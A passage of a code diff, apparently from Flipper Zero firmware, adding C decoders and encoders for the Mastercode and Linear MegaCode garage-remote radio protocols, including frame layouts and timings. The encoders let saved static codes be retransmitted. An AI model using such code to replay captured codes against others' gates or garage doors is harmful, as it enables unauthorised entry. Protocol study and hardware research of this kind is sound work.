+    SubGhzProtocolDecoderBase base;
+    SubGhzBlockDecoder decoder;
+    SubGhzBlockGeneric generic;
+};
+
+struct SubGhzProtocolEncoderMastercode {
+    SubGhzProtocolEncoderBase base;
+    SubGhzProtocolBlockEncoder encoder;
+    SubGhzBlockGeneric generic;
+};
+
+typedef enum {
+    MastercodeDecoderStepReset = 0,
+    MastercodeDecoderStepSaveDuration,
+    MastercodeDecoderStepCheckDuration,
+} MastercodeDecoderStep;
+
+const SubGhzProtocolDecoder subghz_protocol_mastercode_decoder = {
+    .alloc = subghz_protocol_decoder_mastercode_alloc,
+    .free = subghz_protocol_decoder_mastercode_free,
+
+    .feed = subghz_protocol_decoder_mastercode_feed,
+    .reset = subghz_protocol_decoder_mastercode_reset,
+
+    .get_hash_data = subghz_protocol_decoder_mastercode_get_hash_data,
+    .serialize = subghz_protocol_decoder_mastercode_serialize,
+    .deserialize = subghz_protocol_decoder_mastercode_deserialize,
+    .get_string = subghz_protocol_decoder_mastercode_get_string,
+};
+
+const SubGhzProtocolEncoder subghz_protocol_mastercode_encoder = {
+    .alloc = subghz_protocol_encoder_mastercode_alloc,
+    .free = subghz_protocol_encoder_mastercode_free,
+
+    .deserialize = subghz_protocol_encoder_mastercode_deserialize,
+    .stop = subghz_protocol_encoder_mastercode_stop,
+    .yield = subghz_protocol_encoder_mastercode_yield,
+};
+
+const SubGhzProtocol subghz_protocol_mastercode = {
+    .name = SUBGHZ_PROTOCOL_MASTERCODE_NAME,
+    .type = SubGhzProtocolTypeStatic,
+    .flag = SubGhzProtocolFlag_433 | SubGhzProtocolFlag_AM | SubGhzProtocolFlag_Decodable |
+            SubGhzProtocolFlag_Load | SubGhzProtocolFlag_Save | SubGhzProtocolFlag_Send,
+
+    .decoder = &subghz_protocol_mastercode_decoder,
+    .encoder = &subghz_protocol_mastercode_encoder,
+};
+
+void* subghz_protocol_encoder_mastercode_alloc(SubGhzEnvironment* environment) {
+    UNUSED(environment);
+    SubGhzProtocolEncoderMastercode* instance = malloc(sizeof(SubGhzProtocolEncoderMastercode));
+
+    instance->base.protocol = &subghz_protocol_mastercode;
+    instance->generic.protocol_name = instance->base.protocol->name;
+
+    instance->encoder.repeat = 3;
+    instance->encoder.size_upload = 72;
+    instance->encoder.upload = malloc(instance->encoder.size_upload * sizeof(LevelDuration));
+    instance->encoder.is_running = false;
+    return instance;
+}
+
+void subghz_protocol_encoder_mastercode_free(void* context) {
+    furi_assert(context);
+    SubGhzProtocolEncoderMastercode* instance = context;
+    free(instance->encoder.upload);
+    free(instance);
+}
+
+/**
+ * Generating an upload from data.
+ * @param instance Pointer to a SubGhzProtocolEncoderMastercode instance
+ * @return true On success
+ */
+static bool
+    subghz_protocol_encoder_mastercode_get_upload(SubGhzProtocolEncoderMastercode* instance) {
+    furi_assert(instance);
+    size_t index = 0;
+    size_t size_upload = (instance->generic.data_count_bit * 2);
+    if(size_upload > instance->encoder.size_upload) {
+        FURI_LOG_E(TAG, "Size upload exceeds allocated encoder buffer.");
+        return false;
+    } else {
+        instance->encoder.size_upload = size_upload;
+    }
+
+    for(uint8_t i = instance->generic.data_count_bit; i > 1; i--) {
+        if(bit_read(instance->generic.data, i - 1)) {
+            //send bit 1
+            instance->encoder.upload[index++] =
+                level_duration_make(true, (uint32_t)subghz_protocol_mastercode_const.te_long);
+            instance->encoder.upload[index++] =
+                level_duration_make(false, (uint32_t)subghz_protocol_mastercode_const.te_short);
+        } else {
+            //send bit 0
+            instance->encoder.upload[index++] =
+                level_duration_make(true, (uint32_t)subghz_protocol_mastercode_const.te_short);
+            instance->encoder.upload[index++] =
+                level_duration_make(false, (uint32_t)subghz_protocol_mastercode_const.te_long);
+        }
+    }
+    if(bit_read(instance->generic.data, 0)) {
+        //send bit 1
+        instance->encoder.upload[index++] =
+            level_duration_make(true, (uint32_t)subghz_protocol_mastercode_const.te_long);
+        instance->encoder.upload[index++] = level_duration_make(
+            false,
+            (uint32_t)subghz_protocol_mastercode_const.te_short +
+                subghz_protocol_mastercode_const.te_short * 13);
+    } else {
+        //send bit 0
+        instance->encoder.upload[index++] =
+            level_duration_make(true, (uint32_t)subghz_protocol_mastercode_const.te_short);
+        instance->encoder.upload[index++] = level_duration_make(
+            false,
+            (uint32_t)subghz_protocol_mastercode_const.te_long +
+                subghz_protocol_mastercode_const.te_short * 13);
+    }
+    return true;
+}
+
+SubGhzProtocolStatus
+    subghz_protocol_encoder_mastercode_deserialize(void* context, FlipperFormat* flipper_format) {
+    furi_assert(context);
+    SubGhzProtocolEncoderMastercode* instance = context;
+    SubGhzProtocolStatus ret = SubGhzProtocolStatusError;
+    do {
+        ret = subghz_block_generic_deserialize_check_count_bit(
+            &instance->generic,
+            flipper_format,
+            subghz_protocol_mastercode_const.min_count_bit_for_found);
+        if(ret != SubGhzProtocolStatusOk) {
+            break;
+        }
+        // Optional value
+        flipper_format_read_uint32(
+            flipper_format, "Repeat", (uint32_t*)&instance->encoder.repeat, 1);
+
+        if(!subghz_protocol_encoder_mastercode_get_upload(instance)) {
+            ret = SubGhzProtocolStatusErrorEncoderGetUpload;
+            break;
+        }
+        instance->encoder.is_running = true;
+
+    } while(false);
+
+    return ret;
+}
+
+void subghz_protocol_encoder_mastercode_stop(void* context) {
+    SubGhzProtocolEncoderMastercode* instance = context;
+    instance->encoder.is_running = false;
+}
+
+LevelDuration subghz_protocol_encoder_mastercode_yield(void* context) {
+    SubGhzProtocolEncoderMastercode* instance = context;
+
+    if(instance->encoder.repeat == 0 || !instance->encoder.is_running) {
+        instance->encoder.is_running = false;
+        return level_duration_reset();
+    }
+
+    LevelDuration ret = instance->encoder.upload[instance->encoder.front];
+
+    if(++instance->encoder.front == instance->encoder.size_upload) {
+        if(!subghz_block_generic_global.endless_tx) instance->encoder.repeat--;
+        instance->encoder.front = 0;
+    }
+
+    return ret;
+}
+
+void* subghz_protocol_decoder_mastercode_alloc(SubGhzEnvironment* environment) {
+    UNUSED(environment);
+    SubGhzProtocolDecoderMastercode* instance = malloc(sizeof(SubGhzProtocolDecoderMastercode));
+    instance->base.protocol = &subghz_protocol_mastercode;
+    instance->generic.protocol_name = instance->base.protocol->name;
+    return instance;
+}
+
+void subghz_protocol_decoder_mastercode_free(void* context) {
+    furi_assert(context);
+    SubGhzProtocolDecoderMastercode* instance = context;
+    free(instance);
+}
+
+void subghz_protocol_decoder_mastercode_reset(void* context) {
+    furi_assert(context);
+    SubGhzProtocolDecoderMastercode* instance = context;
+    instance->decoder.parser_step = MastercodeDecoderStepReset;
+}
+
+void subghz_protocol_decoder_mastercode_feed(void* context, bool level, uint32_t duration) {
+    furi_assert(context);
+    SubGhzProtocolDecoderMastercode* instance = context;
+
+    switch(instance->decoder.parser_step) {
+    case MastercodeDecoderStepReset:
+        if((!level) && (DURATION_DIFF(duration, subghz_protocol_mastercode_const.te_short * 15) <
+                        subghz_protocol_mastercode_const.te_delta * 15)) {
+            instance->decoder.parser_step = MastercodeDecoderStepSaveDuration;
+            instance->decoder.decode_data = 0;
+            instance->decoder.decode_count_bit = 0;
+        }
+        break;
+
+    case MastercodeDecoderStepSaveDuration:
+        if(level) {
+            instance->decoder.te_last = duration;
+            instance->decoder.parser_step = MastercodeDecoderStepCheckDuration;
+        } else {
+            instance->decoder.parser_step = MastercodeDecoderStepReset;
+        }
+        break;
+
+    case MastercodeDecoderStepCheckDuration:
+        if(!level) {
+            if((DURATION_DIFF(
+                    instance->decoder.te_last, subghz_protocol_mastercode_const.te_short) <
+                subghz_protocol_mastercode_const.te_delta) &&
+               (DURATION_DIFF(duration, subghz_protocol_mastercode_const.te_long) <
+                subghz_protocol_mastercode_const.te_delta * 8)) {
+                subghz_protocol_blocks_add_bit(&instance->decoder, 0);
+                instance->decoder.parser_step = MastercodeDecoderStepSaveDuration;
+            } else if(
+                (DURATION_DIFF(
+                     instance->decoder.te_last, subghz_protocol_mastercode_const.te_long) <
+                 subghz_protocol_mastercode_const.te_delta * 8) &&
+                (DURATION_DIFF(duration, subghz_protocol_mastercode_const.te_short) <
+                 subghz_protocol_mastercode_const.te_delta)) {
+                subghz_protocol_blocks_add_bit(&instance->decoder, 1);
+                instance->decoder.parser_step = MastercodeDecoderStepSaveDuration;
+            } else if(
+                DURATION_DIFF(duration, subghz_protocol_mastercode_const.te_short * 15) <
+                subghz_protocol_mastercode_const.te_delta * 15) {
+                if(DURATION_DIFF(
+                       instance->decoder.te_last, subghz_protocol_mastercode_const.te_short) <
+                   subghz_protocol_mastercode_const.te_delta) {
+                    subghz_protocol_blocks_add_bit(&instance->decoder, 0);
+                } else if(
+                    DURATION_DIFF(
+                        instance->decoder.te_last, subghz_protocol_mastercode_const.te_long) <
+                    subghz_protocol_mastercode_const.te_delta * 8) {
+                    subghz_protocol_blocks_add_bit(&instance->decoder, 1);
+                } else {
+                    instance->decoder.parser_step = MastercodeDecoderStepReset;
+                }
+
+                if(instance->decoder.decode_count_bit ==
+                   subghz_protocol_mastercode_const.min_count_bit_for_found) {
+                    instance->generic.data = instance->decoder.decode_data;
+                    instance->generic.data_count_bit = instance->decoder.decode_count_bit;
+
+                    if(instance->base.callback)
+                        instance->base.callback(&instance->base, instance->base.context);
+                }
+                instance->decoder.parser_step = MastercodeDecoderStepSaveDuration;
+                instance->decoder.decode_data = 0;
+                instance->decoder.decode_count_bit = 0;
+
+            } else {
+                instance->decoder.parser_step = MastercodeDecoderStepReset;
+            }
+        } else {
+            instance->decoder.parser_step = MastercodeDecoderStepReset;
+        }
+        break;
+    }
+}
+
+/** 
+ * Analysis of received data
+ * @param instance Pointer to a SubGhzBlockGeneric* instance
+ */
+static void subghz_protocol_mastercode_check_remote_controller(SubGhzBlockGeneric* instance) {
+    instance->serial = (instance->data >> 4) & 0xFFFF;
+    instance->btn = (instance->data >> 2 & 0x03);
+}
+
+uint8_t subghz_protocol_decoder_mastercode_get_hash_data(void* context) {
+    furi_assert(context);
+    SubGhzProtocolDecoderMastercode* instance = context;
+    return subghz_protocol_blocks_get_hash_data(
+        &instance->decoder, (instance->decoder.decode_count_bit / 8) + 1);
+}
+
+SubGhzProtocolStatus subghz_protocol_decoder_mastercode_serialize(
+    void* context,
+    FlipperFormat* flipper_format,
+    SubGhzRadioPreset* preset) {
+    furi_assert(context);
+    SubGhzProtocolDecoderMastercode* instance = context;
+    return subghz_block_generic_serialize(&instance->generic, flipper_format, preset);
+}
+
+SubGhzProtocolStatus
+    subghz_protocol_decoder_mastercode_deserialize(void* context, FlipperFormat* flipper_format) {
+    furi_assert(context);
+    SubGhzProtocolDecoderMastercode* instance = context;
+    return subghz_block_generic_deserialize_check_count_bit(
+        &instance->generic,
+        flipper_format,
+        subghz_protocol_mastercode_const.min_count_bit_for_found);
+}
+
+void subghz_protocol_decoder_mastercode_get_string(void* context, FuriString* output) {
+    furi_assert(context);
+    SubGhzProtocolDecoderMastercode* instance = context;
+    subghz_protocol_mastercode_check_remote_controller(&instance->generic);
+
+    // push protocol data to global variable
+    subghz_block_generic_global.btn_is_available = false;
+    subghz_block_generic_global.current_btn = instance->generic.btn;
+    subghz_block_generic_global.btn_length_bit = 2;
+    //
+
+    furi_string_cat_printf(
+        output,
+        "%s %dbit\r\n"
+        "Key:%llX   Btn:%X\r\n"
+        "  +:   " DIP_PATTERN "\r\n"
+        "  o:   " DIP_PATTERN "\r\n"
+        "  -:   " DIP_PATTERN "\r\n",
+        instance->generic.protocol_name,
+        instance->generic.data_count_bit,
+        (uint64_t)(instance->generic.data),
+        instance->generic.btn,
+        SHOW_DIP_P(instance->generic.serial, DIP_P),
+        SHOW_DIP_P(instance->generic.serial, DIP_O),
+        SHOW_DIP_P(instance->generic.serial, DIP_N));
+}
diff --git a/lib/subghz_unleashed_vendor/src/subghz/protocols/mastercode.h b/lib/subghz_unleashed_vendor/src/subghz/protocols/mastercode.h
new file mode 100644
index 000000000..c5c73db98
--- /dev/null
+++ b/lib/subghz_unleashed_vendor/src/subghz/protocols/mastercode.h
@@ -0,0 +1,109 @@
+#pragma once
+
+#include "base.h"
+
+#define SUBGHZ_PROTOCOL_MASTERCODE_NAME "Mastercode"
+
+typedef struct SubGhzProtocolDecoderMastercode SubGhzProtocolDecoderMastercode;
+typedef struct SubGhzProtocolEncoderMastercode SubGhzProtocolEncoderMastercode;
+
+extern const SubGhzProtocolDecoder subghz_protocol_mastercode_decoder;
+extern const SubGhzProtocolEncoder subghz_protocol_mastercode_encoder;
+extern const SubGhzProtocol subghz_protocol_mastercode;
+
+/**
+ * Allocate SubGhzProtocolEncoderMastercode.
+ * @param environment Pointer to a SubGhzEnvironment instance
+ * @return SubGhzProtocolEncoderMastercode* pointer to a SubGhzProtocolEncoderMastercode instance
+ */
+void* subghz_protocol_encoder_mastercode_alloc(SubGhzEnvironment* environment);
+
+/**
+ * Free SubGhzProtocolEncoderMastercode.
+ * @param context Pointer to a SubGhzProtocolEncoderMastercode instance
+ */
+void subghz_protocol_encoder_mastercode_free(void* context);
+
+/**
+ * Deserialize and generating an upload to send.
+ * @param context Pointer to a SubGhzProtocolEncoderMastercode instance
+ * @param flipper_format Pointer to a FlipperFormat instance
+ * @return status
+ */
+SubGhzProtocolStatus
+    subghz_protocol_encoder_mastercode_deserialize(void* context, FlipperFormat* flipper_format);
+
+/**
+ * Forced transmission stop.
+ * @param context Pointer to a SubGhzProtocolEncoderMastercode instance
+ */
+void subghz_protocol_encoder_mastercode_stop(void* context);
+
+/**
+ * Getting the level and duration of the upload to be loaded into DMA.
+ * @param context Pointer to a SubGhzProtocolEncoderMastercode instance
+ * @return LevelDuration 
+ */
+LevelDuration subghz_protocol_encoder_mastercode_yield(void* context);
+
+/**
+ * Allocate SubGhzProtocolDecoderMastercode.
+ * @param environment Pointer to a SubGhzEnvironment instance
+ * @return SubGhzProtocolDecoderMastercode* pointer to a SubGhzProtocolDecoderMastercode instance
+ */
+void* subghz_protocol_decoder_mastercode_alloc(SubGhzEnvironment* environment);
+
+/**
+ * Free SubGhzProtocolDecoderMastercode.
+ * @param context Pointer to a SubGhzProtocolDecoderMastercode instance
+ */
+void subghz_protocol_decoder_mastercode_free(void* context);
+
+/**
+ * Reset decoder SubGhzProtocolDecoderMastercode.
+ * @param context Pointer to a SubGhzProtocolDecoderMastercode instance
+ */
+void subghz_protocol_decoder_mastercode_reset(void* context);
+
+/**
+ * Parse a raw sequence of levels and durations received from the air.
+ * @param context Pointer to a SubGhzProtocolDecoderMastercode instance
+ * @param level Signal level true-high false-low
+ * @param duration Duration of this level in, us
+ */
+void subghz_protocol_decoder_mastercode_feed(void* context, bool level, uint32_t duration);
+
+/**
+ * Getting the hash sum of the last randomly received parcel.
+ * @param context Pointer to a SubGhzProtocolDecoderMastercode instance
+ * @return hash Hash sum
+ */
+uint8_t subghz_protocol_decoder_mastercode_get_hash_data(void* context);
+
+/**
+ * Serialize data SubGhzProtocolDecoderMastercode.
+ * @param context Pointer to a SubGhzProtocolDecoderMastercode instance
+ * @param flipper_format Pointer to a FlipperFormat instance
+ * @param preset The modulation on which the signal was received, SubGhzRadioPreset
+ * @return status
+ */
+SubGhzProtocolStatus subghz_protocol_decoder_mastercode_serialize(
+    void* context,
+    FlipperFormat* flipper_format,
+    SubGhzRadioPreset* preset);
+
+/**
+ * Deserialize data SubGhzProtocolDecoderMastercode.
+ * @param context Pointer to a SubGhzProtocolDecoderMastercode instance
+ * @param flipper_format Pointer to a FlipperFormat instance
+ * @return status
+ */
+SubGhzProtocolStatus
+    subghz_protocol_decoder_mastercode_deserialize(void* context, FlipperFormat* flipper_format);
+
+/**
+ * Getting a textual representation of the received data.
+ * @param context Pointer to a SubGhzProtocolDecoderMastercode instance
+ * @param output Resulting text
+ */
+void subghz_protocol_decoder_mastercode_get_string(void* context, FuriString* output);
diff --git a/lib/subghz_unleashed_vendor/src/subghz/protocols/megacode.c b/lib/subghz_unleashed_vendor/src/subghz/protocols/megacode.c
new file mode 100644
index 000000000..cf7737aaa
--- /dev/null
+++ b/lib/subghz_unleashed_vendor/src/subghz/protocols/megacode.c
@@ -0,0 +1,427 @@
+#include "megacode.h"
+
+#include "../blocks/const.h"
+#include "../blocks/decoder.h"
+#include "../blocks/encoder.h"
+#include "../blocks/generic.h"
+#include "../blocks/math.h"
+
+/*
+ * Help
+ * https://wiki.cuvoodoo.info/doku.php?id=megacode
+ * https://wiki.cuvoodoo.info/lib/exe/fetch.php?media=megacode:megacode_1.pdf
+ * https://fccid.io/EF4ACP00872/Test-Report/Megacode-2-112615.pdf
+ * https://github.com/aaronsp777/megadecoder
+ * https://github.com/rjmendez/Linear_keyfob
+ * https://github.com/j07rdi/Linear_MegaCode_Garage_Remote
+ *
+ */
+
+#define TAG "SubGhzProtocolMegaCode"
+
+static const SubGhzBlockConst subghz_protocol_megacode_const = {
+    .te_short = 1000,
+    .te_long = 1000,
+    .te_delta = 200,
+    .min_count_bit_for_found = 24,
+};
+
+struct SubGhzProtocolDecoderMegaCode {
+    SubGhzProtocolDecoderBase base;
+
+    SubGhzBlockDecoder decoder;
+    SubGhzBlockGeneric generic;
+    uint8_t last_bit;
+};
+
+struct SubGhzProtocolEncoderMegaCode {
+    SubGhzProtocolEncoderBase base;
+
+    SubGhzProtocolBlockEncoder encoder;
+    SubGhzBlockGeneric generic;
+};
+
+typedef enum {
+    MegaCodeDecoderStepReset = 0,
+    MegaCodeDecoderStepFoundStartBit,
+    MegaCodeDecoderStepSaveDuration,
+    MegaCodeDecoderStepCheckDuration,
+} MegaCodeDecoderStep;
+
+const SubGhzProtocolDecoder subghz_protocol_megacode_decoder = {
+    .alloc = subghz_protocol_decoder_megacode_alloc,
+    .free = subghz_protocol_decoder_megacode_free,
+
+    .feed = subghz_protocol_decoder_megacode_feed,
+    .reset = subghz_protocol_decoder_megacode_reset,
+
+    .get_hash_data = subghz_protocol_decoder_megacode_get_hash_data,
+    .serialize = subghz_protocol_decoder_megacode_serialize,
+    .deserialize = subghz_protocol_decoder_megacode_deserialize,
+    .get_string = subghz_protocol_decoder_megacode_get_string,
+};
+
+const SubGhzProtocolEncoder subghz_protocol_megacode_encoder = {
+    .alloc = subghz_protocol_encoder_megacode_alloc,
+    .free = subghz_protocol_encoder_megacode_free,
+
+    .deserialize = subghz_protocol_encoder_megacode_deserialize,
+    .stop = subghz_protocol_encoder_megacode_stop,
+    .yield = subghz_protocol_encoder_megacode_yield,
+};
+
+const SubGhzProtocol subghz_protocol_megacode = {
+    .name = SUBGHZ_PROTOCOL_MEGACODE_NAME,
+    .type = SubGhzProtocolTypeStatic,
+    .flag = SubGhzProtocolFlag_315 | SubGhzProtocolFlag_AM | SubGhzProtocolFlag_Decodable |
+            SubGhzProtocolFlag_Load | SubGhzProtocolFlag_Save | SubGhzProtocolFlag_Send,
+
+    .decoder = &subghz_protocol_megacode_decoder,
+    .encoder = &subghz_protocol_megacode_encoder,
+};
+
+void* subghz_protocol_encoder_megacode_alloc(SubGhzEnvironment* environment) {
+    UNUSED(environment);
+    SubGhzProtocolEncoderMegaCode* instance = malloc(sizeof(SubGhzProtocolEncoderMegaCode));
+
+    instance->base.protocol = &subghz_protocol_megacode;
+    instance->generic.protocol_name = instance->base.protocol->name;
+
+    instance->encoder.repeat = 3;
+    instance->encoder.size_upload = 52;
+    instance->encoder.upload = malloc(instance->encoder.size_upload * sizeof(LevelDuration));
+    instance->encoder.is_running = false;
+    return instance;
+}
+
+void subghz_protocol_encoder_megacode_free(void* context) {
+    furi_assert(context);
+    SubGhzProtocolEncoderMegaCode* instance = context;
+    free(instance->encoder.upload);
+    free(instance);
+}
+
+/**
+ * Generating an upload from data.
+ * @param instance Pointer to a SubGhzProtocolEncoderMegaCode instance
+ * @return true On success
+ */
+static bool subghz_protocol_encoder_megacode_get_upload(SubGhzProtocolEncoderMegaCode* instance) {
+    furi_assert(instance);
+    uint8_t last_bit = 0;
+    size_t size_upload = (instance->generic.data_count_bit * 2);
+    if(size_upload > instance->encoder.size_upload) {
+        FURI_LOG_E(TAG, "Size upload exceeds allocated encoder buffer.");
+        return false;
+    } else {
+        instance->encoder.size_upload = size_upload;
+    }
+
+    /*
+    * Due to the nature of the protocol
+    *
+    *  00000 1
+    *  _____|-| = 1 becomes
+    * 
+    *  00 1 000
+    *  __|-|___ = 0 becomes
+    * 
+    * it's easier for us to generate an upload backwards
+    */
+
+    size_t index = size_upload - 1;
+
+    // Send end level
+    instance->encoder.upload[index--] =
+        level_duration_make(true, (uint32_t)subghz_protocol_megacode_const.te_short);
+    if(bit_read(instance->generic.data, 0)) {
+        last_bit = 1;
+    } else {
+        last_bit = 0;
+    }
+
+    //Send key data
+    for(uint8_t i = 1; i < instance->generic.data_count_bit; i++) {
+        if(bit_read(instance->generic.data, i)) {
+            //if bit 1
+            instance->encoder.upload[index--] = level_duration_make(
+                false,
+                last_bit ? (uint32_t)subghz_protocol_megacode_const.te_short * 5 :
+                           (uint32_t)subghz_protocol_megacode_const.te_short * 2);
+            last_bit = 1;
+        } else {
+            //if bit 0
+            instance->encoder.upload[index--] = level_duration_make(
+                false,
+                last_bit ? (uint32_t)subghz_protocol_megacode_const.te_short * 8 :
+                           (uint32_t)subghz_protocol_megacode_const.te_short * 5);
+            last_bit = 0;
+        }
+        instance->encoder.upload[index--] =
+            level_duration_make(true, (uint32_t)subghz_protocol_megacode_const.te_short);
+    }
+
+    //Send PT_GUARD
+    if(bit_read(instance->generic.data, 0)) {
+        //if end bit 1
+        instance->encoder.upload[index] =
+            level_duration_make(false, (uint32_t)subghz_protocol_megacode_const.te_short * 11);
+    } else {
+        //if end bit 1
+        instance->encoder.upload[index] =
+            level_duration_make(false, (uint32_t)subghz_protocol_megacode_const.te_short * 14);
+    }
+
+    return true;
+}
+
+SubGhzProtocolStatus
+    subghz_protocol_encoder_megacode_deserialize(void* context, FlipperFormat* flipper_format) {
+    furi_assert(context);
+    SubGhzProtocolEncoderMegaCode* instance = context;
+    SubGhzProtocolStatus ret = SubGhzProtocolStatusError;
+    do {
+        ret = subghz_block_generic_deserialize_check_count_bit(
+            &instance->generic,
+            flipper_format,
+            subghz_protocol_megacode_const.min_count_bit_for_found);
+        if(ret != SubGhzProtocolStatusOk) {
+            break;
+        }
+        // Optional value
+        flipper_format_read_uint32(
+            flipper_format, "Repeat", (uint32_t*)&instance->encoder.repeat, 1);
+
+        if(!subghz_protocol_encoder_megacode_get_upload(instance)) {
+            ret = SubGhzProtocolStatusErrorEncoderGetUpload;
+            break;
+        }
+        instance->encoder.is_running = true;
+    } while(false);
+
+    return ret;
+}
+
+void subghz_protocol_encoder_megacode_stop(void* context) {
+    SubGhzProtocolEncoderMegaCode* instance = context;
+    instance->encoder.is_running = false;
+}
+
+LevelDuration subghz_protocol_encoder_megacode_yield(void* context) {
+    SubGhzProtocolEncoderMegaCode* instance = context;
+
+    if(instance->encoder.repeat == 0 || !instance->encoder.is_running) {
+        instance->encoder.is_running = false;
+        return level_duration_reset();
+    }
+
+    LevelDuration ret = instance->encoder.upload[instance->encoder.front];
+
+    if(++instance->encoder.front == instance->encoder.size_upload) {
+        if(!subghz_block_generic_global.endless_tx) instance->encoder.repeat--;
+        instance->encoder.front = 0;
+    }
+
+    return ret;
+}
+
+void* subghz_protocol_decoder_megacode_alloc(SubGhzEnvironment* environment) {
+    UNUSED(environment);
+    SubGhzProtocolDecoderMegaCode* instance = malloc(sizeof(SubGhzProtocolDecoderMegaCode));
+    instance->base.protocol = &subghz_protocol_megacode;
+    instance->generic.protocol_name = instance->base.protocol->name;
+    return instance;
+}
+
+void subghz_protocol_decoder_megacode_free(void* context) {
+    furi_assert(context);
+    SubGhzProtocolDecoderMegaCode* instance = context;
+    free(instance);
+}
+
+void subghz_protocol_decoder_megacode_reset(void* context) {
+    furi_assert(context);
+    SubGhzProtocolDecoderMegaCode* instance = context;
+    instance->decoder.parser_step = MegaCodeDecoderStepReset;
+}
+
+void subghz_protocol_decoder_megacode_feed(void* context, bool level, uint32_t duration) {
+    furi_assert(context);
+    SubGhzProtocolDecoderMegaCode* instance = context;
+    switch(instance->decoder.parser_step) {
+    case MegaCodeDecoderStepReset:
+        if((!level) && (DURATION_DIFF(duration, subghz_protocol_megacode_const.te_short * 13) <
+                        subghz_protocol_megacode_const.te_delta * 17)) { //10..16ms
+            //Found header MegaCode
+            instance->decoder.parser_step = MegaCodeDecoderStepFoundStartBit;
+        }
+        break;
+    case MegaCodeDecoderStepFoundStartBit:
+        if(level && (DURATION_DIFF(duration, subghz_protocol_megacode_const.te_short) <
+                     subghz_protocol_megacode_const.te_delta)) {
+            //Found start bit MegaCode
+            instance->decoder.parser_step = MegaCodeDecoderStepSaveDuration;
+            instance->decoder.decode_data = 0;
+            instance->decoder.decode_count_bit = 0;
+            subghz_protocol_blocks_add_bit(&instance->decoder, 1);
+            instance->last_bit = 1;
+
+        } else {
+            instance->decoder.parser_step = MegaCodeDecoderStepReset;
+        }
+        break;
+    case MegaCodeDecoderStepSaveDuration:
+        if(!level) { //save interval
+            if(duration >= (subghz_protocol_megacode_const.te_short * 10)) {
+                instance->decoder.parser_step = MegaCodeDecoderStepReset;
+                if(instance->decoder.decode_count_bit ==
+                   subghz_protocol_megacode_const.min_count_bit_for_found) {
+                    instance->generic.data = instance->decoder.decode_data;
+                    instance->generic.data_count_bit = instance->decoder.decode_count_bit;
+
+                    if(instance->base.callback)
+                        instance->base.callback(&instance->base, instance->base.context);
+                }
+                break;
+            }
+
+            if(!instance->last_bit) {
+                instance->decoder.te_last = duration - subghz_protocol_megacode_const.te_short * 3;
+            } else {
+                instance->decoder.te_last = duration;
+            }
+            instance->decoder.parser_step = MegaCodeDecoderStepCheckDuration;
+        } else {
+            instance->decoder.parser_step = MegaCodeDecoderStepReset;
+        }
+        break;
+    case MegaCodeDecoderStepCheckDuration:
+        if(level) {
+            if((DURATION_DIFF(
+                    instance->decoder.te_last, subghz_protocol_megacode_const.te_short * 5) <
+                subghz_protocol_megacode_const.te_delta * 5) &&
+               (DURATION_DIFF(duration, subghz_protocol_megacode_const.te_short) <
+                subghz_protocol_megacode_const.te_delta)) {
+                subghz_protocol_blocks_add_bit(&instance->decoder, 1);
+                instance->last_bit = 1;
+                instance->decoder.parser_step = MegaCodeDecoderStepSaveDuration;
+            } else if(
+                (DURATION_DIFF(
+                     instance->decoder.te_last, subghz_protocol_megacode_const.te_short * 2) <
+                 subghz_protocol_megacode_const.te_delta * 2) &&
+                (DURATION_DIFF(duration, subghz_protocol_megacode_const.te_short) <
+                 subghz_protocol_megacode_const.te_delta)) {
+                subghz_protocol_blocks_add_bit(&instance->decoder, 0);
+                instance->last_bit = 0;
+                instance->decoder.parser_step = MegaCodeDecoderStepSaveDuration;
+            } else
+                instance->decoder.parser_step = MegaCodeDecoderStepReset;
+        } else {
+            instance->decoder.parser_step = MegaCodeDecoderStepReset;
+        }
+        break;
+    }
+}
+
+/** 
+ * Analysis of received data
+ * @param instance Pointer to a SubGhzBlockGeneric* instance
+ */
+static void subghz_protocol_megacode_check_remote_controller(SubGhzBlockGeneric* instance) {
+    /*
+    * Short: 1000 µs
+    * Long: 1000 µs
+    * Gap: 11000 .. 14000 µs
+    * A Linear Megacode transmission consists of 24 bit frames starting with 
+    * the most significant bit and ending with the least. Each of the 24 bit 
+    * frames is 6 milliseconds wide and always contains a single 1 millisecond 
+    * pulse. A frame with more than 1 pulse or a frame with no pulse is invalid 
+    * and a receiver should reset and begin watching for another start bit. 
+    * Start bit is always 1.
+    * 
+    * 
+    * Example (I created with my own remote):
+    * Remote “A” has the code “17316”, a Facility Code of “3”, and a single button.
+    * Start bit (S) = 1
+    * Facility Code 3 (F) = 0011
+    * Remote Code (Key) 17316 = 43A4 = 0100001110100100
+    * Button (Btn) 1 = 001
+    *          S  F        Key         Btn
+    * Result = 1|0011|0100001110100100|001
+    * 
+    *  00000 1
+    *  _____|-| = 1 becomes
+    * 
+    *  00 1 000
+    *  __|-|___ = 0 becomes
+    * 
+    * The device needs to transmit with a 9000 µs gap between retransmissions:
+    * 000001 001000 001000 000001 000001 001000 000001 001000 001000 001000 001000 000001
+    * 000001 000001 001000 000001 001000 001000 000001 001000 001000 001000 001000 000001
+    * wait 9000 µs
+    * 000001 001000 001000 000001 000001 001000 000001 001000 001000 001000 001000 000001
+    * 000001 000001 001000 000001 001000 001000 000001 001000 001000 001000 001000 000001
+    * 
+    */
+    if((instance->data >> 23) == 1) {
+        instance->serial = (instance->data >> 3) & 0xFFFF;
+        instance->btn = instance->data & 0b111;
+        instance->cnt = (instance->data >> 19) & 0b1111;
+    } else {
+        instance->serial = 0;
+        instance->btn = 0;
+        instance->cnt = 0;
+    }
+}
+
+uint8_t subghz_protocol_decoder_megacode_get_hash_data(void* context) {
+    furi_assert(context);
+    SubGhzProtocolDecoderMegaCode* instance = context;
+    return subghz_protocol_blocks_get_hash_data(
+        &instance->decoder, (instance->decoder.decode_count_bit / 8) + 1);
+}
+
+SubGhzProtocolStatus subghz_protocol_decoder_megacode_serialize(
+    void* context,
+    FlipperFormat* flipper_format,
+    SubGhzRadioPreset* preset) {
+    furi_assert(context);
+    SubGhzProtocolDecoderMegaCode* instance = context;
+    return subghz_block_generic_serialize(&instance->generic, flipper_format, preset);
+}
+
+SubGhzProtocolStatus
+    subghz_protocol_decoder_megacode_deserialize(void* context, FlipperFormat* flipper_format) {
+    furi_assert(context);
+    SubGhzProtocolDecoderMegaCode* instance = context;
+    return subghz_block_generic_deserialize_check_count_bit(
+        &instance->generic,
+        flipper_format,
+        subghz_protocol_megacode_const.min_count_bit_for_found);
+}
+
+void subghz_protocol_decoder_megacode_get_string(void* context, FuriString* output) {
+    furi_assert(context);
+    SubGhzProtocolDecoderMegaCode* instance = context;
+    subghz_protocol_megacode_check_remote_controller(&instance->generic);
+
